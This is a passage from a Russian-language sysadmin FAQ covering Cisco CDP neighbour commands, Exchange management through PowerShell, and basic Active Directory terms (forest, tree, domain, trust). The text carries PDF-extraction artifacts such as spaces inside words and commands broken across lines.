. Ответ будет выг лядеть как таб лица.

show cdp neigh‐
bors

Capability Codes: R ‐ Router, T ‐ Trans Bridge, B ‐ Source 
Route Bridge
                  S ‐ Switch, H ‐ Host, I ‐ IGMP, r ‐ 
Repeater, P ‐ Phone
Device ID        Local Intrfce     Holdtme    Capability  
Platform  Port ID
sw1              Fas 0/6           178           S I      WS‐
C3560‐ Fas 0/9
sw1              Fas 0/1           171           S I      WS‐
C2960‐ Fas 0/24

Что бы  получить  более  деталь ную  информа цию  о  соседях,  нуж но
добавить в коман ду параметр detail:

show cdp neighbors detail

Вы вод будет под робнее:

CDP neighbors information
  Port : 1   
  Device ID : sw1
                                                           
  Address Type : IP          
  Address      : 192.168.0.109
                                              
  Platform     : Cisco IOS Software, C3550 Software (C3550‐
IPSERVICESK9‐M)
  Capability   : Switch
                                                     
  Device Port  : FastEthernet0/9
                                           
  Version      : Cisco IOS Software, C3550 Software (C3550‐
IPSERVICESK9‐M)

Здесь  отоб ража ется  IP  желез ки,  вер сия  IOS,  а  так же  про писа ны
пор ты на обо их кон цах, что весь ма удоб но, ког да нуж но най ти опре ‐
делен ный кабель.

CDP  работа ет  на  вто ром  уров не  модели OSI,  и  в  общих  чер тах
его  механизм  устро ен  сле дующим  обра зом.  Устрой ство  посыла ет
муль тикаст‐анонс  на  MAC‐адрес  01‐00‐0c‐cc‐cc‐cc.  В  кон фиге
по умол чанию сто ит рас сылка анон сов каж дые 60 с на пор ты Ether‐
net,  Frame Relay и ATM. Устрой ство,  которое понима ет эти анон сы,
сох раня ет их в CDP‐таб лицу. В том слу чае, если устрой ство триж ды
не прис лало анонс, оно авто мати чес ки уда ляет ся из таб лицы.

Пос мотреть  нас трой ки  про токо ла  мож но  коман дой  .
Резуль тат выпол нения будет выг лядеть при мер но так:

show  cdp

Global CDP information:
        Sending CDP packets every 60 seconds
        Sending a holdtime value of 180 seconds
        Sending CDPv2 advertisements is enabled
        Source interface is Loopback0

Для сме ны зна чений (нап ример, час тоты отправ ки сооб щений CDP)
исполь зуем коман ду  .cdp timer 10

Пос коль ку CDP — это про токол Cisco, то при исполь зовании его
в  сетях  с  обо рудо вани ем  раз ных  брен дов  нуж но  быть  готовым
к тому, что спис ки соседей будут отоб ражать ся не пол ностью. К при ‐
меру,  ком мутато ры  3COM  и  D‐Link  не  силь но  дру жат  с  CDP,  а  вот
MikroTik весь ма успешно соседс тву ют с Cisco.

УПРАВЛЯЕМ EXCHANGE ЧЕРЕЗ POWERSHELL

3 Под клю чать ся  к  сер веру  Exchange  и  управлять  поч той  мож но
не  толь ко  через  поч товик,  но  и  нап рямую  из  PowerShell.  Это  поз ‐
воля ет  писать  самые  раз ные  скрип ты  —  нап ример,  мас сово  соз ‐
давать ящи ки или перено сить архи вы. Пос мотрим, как выг лядит этот
интерфейс.

Пер вым делом нуж но  уста новить  сес сию с  сер вером. Для  это го
исполь зуем сле дующий коман длет:

С:> $session = New‐PSSession ‐ConfigurationName Microsoft.
Exchange ‐ConnectionUri http://mx.mailserver.ru ‐Authen
tication Kerberos

Вмес то    ука зыва ем  URI  сво его  сер вера
(его мож но гля нуть в Exchange Admin Center в раз деле «Сер веры →
Вир туаль ные дирек тории»). Теперь исполь зуем нашу сес сию:

http://mx.mailserver.ru

С:> Import‐PSSession $session ‐DisableNameChecking

Пос ле  это го  мож но  начинать  вво дить  коман ды  Exchange  Manage‐
ment  Shell.  К  при меру,  для  того  что бы  пос мотреть,  сколь ко  мес та
занима ет каж дая пап ка, выпол ним:

Get‐MailboxFolderStatistics ‐Identity <user> ‐FolderScope All
 | select Name,ItemsInFolder,FolderSize

По иск и уда ление писем по теме и вло жению:

Get‐Mailbox ‐ResultSize unlimited | Search‐Mailbox ‐Search
Query вложение:"archive.exe" ‐DeleteContent

Вы вес ти ящи ки, которые не исполь зовались за пос ледние 120 дней:

Get‐MailboxDatabase | Get‐MailboxStatistics | where {$_.
Lastlogontime ‐lt (get‐date).AddDays(‐120)} | Sort Lastlog

Эк спор тировать поч товый ящик в фор мате PST:

New‐MailboxExportRequest ‐Mailbox "xakep" ‐Filepath "PCtemp
xakep.pst" ‐ContentFilter {(Received ‐gt "01/01/2017")}
New‐MailboxExportRequest ‐Mailbox "xakep" ‐Filepath "PCtemp
xakep.pst"

Как  видишь,  раз ных  команд  и  воз можнос тей  сколь ко  угод но.  Под ‐
робнее  о  них можешь  почитать  в  ,  ну  и  не
забывай  про  встро енную  справ ку  по  син такси су  язы ка,  она  час то
выруча ет.

офи циаль ном источни ке

Exchange Management Shell

РАЗБИРАЕМСЯ С ДЕРЕВЬЯМИ В ЛЕСУ, ИЗУЧАЯ
ТЕРМИНОЛОГИЮ ACTIVE DIRECTORY4 Впер вые  услы шав  тер мины  «лес»,  «деревья»  и  свя зан ные  с  ними
«довери тель ные  отно шения»,  недол го  и  испу гать ся.  Не  мень ше
пуга ет  и  сама  Active  Directory,  недаром  слы вущая  одной  из  самых
слож ных  тех нологий  Microsoft.  Что бы  успешно  управлять  AD
и  понимать,  что  там  про исхо дит,  сле дует  пер вым  делом  изу чить
базовую  тер миноло гию  и  понять,  как  ком понен ты  свя заны  меж ду
собой. Об этом я и рас ска жу.

Выс ший  уро вень  логичес кой  иерар хии  AD  —  это  лес.  Лесом
называ ют пол ностью самос тоятель ную орга низа цию Active Directory,
которая име ет опре делен ный набор атри бутов и явля ется перимет ‐
ром безопас ности орга низа ции.

В сос тав леса могут вхо дить как один, так и нес коль ко доменов.
Все объ екты, соз дава емые внут ри леса, име ют общий набор атри ‐
бутов.  Нап ример,  объ ект  «поль зователь»  содер жит  имя,  фамилию,
адрес, телефон, све дения о членс тве в груп пах и дру гие парамет ры.
Меняя  этот  набор,  мы  меня ем  его  для  всех  объ ектов  леса.  Такой
набор называ ется схе мой AD. Она опи сыва ет все объ екты, которые
мы можем соз дать, и их струк туру.

По  умол чанию пер вый домен,  который  соз дан  в  лесу,  счи тает ся
его кор невым доменом. Под доменом понима ется логичес кая груп ‐
па  поль зовате лей  и  компь юте ров,  которые  под держи вают  цен тра ‐
лизо ван ное адми нис три рова ние и нас трой ки безопас ности. Домен
так же слу жит еди ницей для реп ликации — все кон трол леры домена,
которые  вхо дят  в  один  домен,  дол жны  учас тво вать  в  реп ликации
друг с дру гом.

До мены при нято име новать, исполь зуя прос транс тво имен DNS.
Доверие,  в  свою  оче редь,  —  это  связь  меж ду  дву мя  домена ми,
при которой уста нав лива ются раз решения на дос туп к тем или иным
объ ектам  дру гого  домена.  Дерево  —  не  что  иное,  как  набор
доменов, которые исполь зуют свя зан ные прос транс тва имен. К при ‐
меру, если домен называ ется xakep.ru, то дочер ний домен test будет
выг лядеть  как  test.xakep.ru.  Резюми руя, мож но  условно нарисо вать
такую схе му: «Лес — дерево — домен».

Об щая струк тура

Ча ще  все го  в  орга низа циях  исполь зуют  самую  прос тую  струк туру.
Один  лес  и  в  нем  кор невой  домен,  который  содер жит  раз личные
объ екты, такие как поль зовате ли и компь юте ры. Раз витая струк тура
встре чает ся  в  основном  в  круп ных  ком пани ях,  с  боль шим  шта том
ИТ‐спе циалис тов  и  раз ными  уров нями  ответс твен ности.  Зачас тую
пол ные пра ва есть лишь у архи тек торов, а рядовые адми нис тра торы
име ют пра ва толь ко в сво их доменах.

С  пер воначаль ной  тер миноло гией  все.  В  одном  из  сле дующих
выпус ков рас ска жу о типах довери тель ных отно шений.

mailto:faq@glc.ru
mailto:3em0nd@gmail.com
https://technet.microsoft.com/ru-ru/library/jj619302(v=exchg.150).aspx
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